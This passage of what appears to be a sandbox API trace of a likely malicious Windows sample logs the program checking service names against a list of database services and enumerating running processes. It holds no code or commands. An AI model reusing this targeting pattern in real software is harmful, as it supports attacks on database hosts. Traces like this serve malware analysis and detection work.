lpString2="Power") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0183.068] lstrlenW (lpString="ProfSvc") returned 7 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0183.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0183.068] lstrlenW (lpString="RpcEptMapper") returned 12 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.068] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0183.068] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0183.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0183.068] lstrlenW (lpString="RpcSs") returned 5 [0183.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0183.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0183.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0183.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0183.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0183.069] lstrlenW (lpString="SamSs") returned 5 [0183.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0183.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0183.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0183.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0183.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0183.078] lstrlenW (lpString="Schedule") returned 8 [0183.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0183.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0183.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0183.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0183.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0183.078] lstrlenW (lpString="SecurityHealthService") returned 21 [0183.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0183.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0183.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0183.078] lstrlenW (lpString="SENS") returned 4 [0183.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0183.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0183.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0183.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0183.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0183.078] lstrlenW (lpString="ShellHWDetection") returned 16 [0183.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.079] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0183.079] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0183.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0183.079] lstrlenW (lpString="Spooler") returned 7 [0183.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0183.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0183.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0183.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0183.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0183.079] lstrlenW (lpString="SSDPSRV") returned 7 [0183.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0183.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0183.079] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0183.079] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0183.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3bb1528 | out: hHeap=0x790000) returned 1 [0183.079] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0183.083] Process32FirstW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.084] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.084] lstrlenW (lpString="System") returned 6 [0183.084] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.085] lstrlenW (lpString="smss.exe") returned 8 [0183.085] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.086] lstrlenW (lpString="csrss.exe") returned 9 [0183.086] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.087] lstrlenW (lpString="wininit.exe") returned 11 [0183.087] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.087] lstrlenW (lpString="csrss.exe") returned 9 [0183.087] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.088] lstrlenW (lpString="winlogon.exe") returned 12 [0183.088] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.089] lstrlenW (lpString="services.exe") returned 12 [0183.089] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.089] lstrlenW (lpString="lsass.exe") returned 9 [0183.089] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.090] lstrlenW (lpString="svchost.exe") returned 11 [0183.090] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.091] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.091] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.092] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.092] lstrlenW (lpString="svchost.exe") returned 11 [0183.092] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.093] lstrlenW (lpString="dwm.exe") returned 7 [0183.093] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.094] lstrlenW (lpString="svchost.exe") returned 11 [0183.094] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.094] lstrlenW (lpString="svchost.exe") returned 11 [0183.094] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.095] lstrlenW (lpString="svchost.exe") returned 11 [0183.095] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.096] lstrlenW (lpString="svchost.exe") returned 11 [0183.096] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.096] lstrlenW (lpString="svchost.exe") returned 11 [0183.096] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.097] lstrlenW (lpString="svchost.exe") returned 11 [0183.097] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.098] lstrlenW (lpString="svchost.exe") returned 11 [0183.098] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.098] lstrlenW (lpString="svchost.exe") returned 11 [0183.099] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.099] lstrlenW (lpString="svchost.exe") returned 11 [0183.099] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.100] lstrlenW (lpString="spoolsv.exe") returned 11 [0183.100] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.101] lstrlenW (lpString="svchost.exe") returned 11 [0183.101] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.102] lstrlenW (lpString="svchost.exe") returned 11 [0183.102] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.103] lstrlenW (lpString="audiodg.exe") returned 11 [0183.103] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0183.103] lstrlenW (lpString="sihost.exe") returned 10 [0183.104] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.104] lstrlenW (lpString="svchost.exe") returned 11 [0183.104] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.105] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0183.106] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0183.106] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0183.106] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0183.106] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.107] lstrlenW (lpString="explorer.exe") returned 12 [0183.107] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0183.108] lstrlenW (lpString="Memory Compression") returned 18 [0183.108] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0183.108] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0183.108] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0183.109] lstrlenW (lpString="SearchUI.exe") returned 12 [0183.109] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0183.110] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0183.110] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.114] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.114] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.115] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.115] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0183.116] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0183.116] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0183.116] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0183.117] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0183.117] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0183.117] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.118] lstrlenW (lpString="conhost.exe") returned 11 [0183.118] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0183.119] lstrlenW (lpString="screensaver.exe") returned 15 [0183.119] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0183.119] lstrlenW (lpString="upperarc.exe") returned 12 [0183.119] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0183.120] lstrlenW (lpString="buying.exe") returned 10 [0183.120] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0183.121] lstrlenW (lpString="downloadable.exe") returned 16 [0183.121] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0183.121] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0183.121] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0183.122] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0183.122] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0183.123] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0183.123] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0183.124] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0183.124] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0183.124] lstrlenW (lpString="moments.exe") returned 11 [0183.124] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0183.125] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0183.125] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0183.126] lstrlenW (lpString="stream-test.exe") returned 15 [0183.126] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0183.127] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0183.127] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0183.127] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0183.127] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0183.128] lstrlenW (lpString="movers-indication.exe") returned 21 [0183.128] Process32NextW (in: hSnapshot=0x38c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, 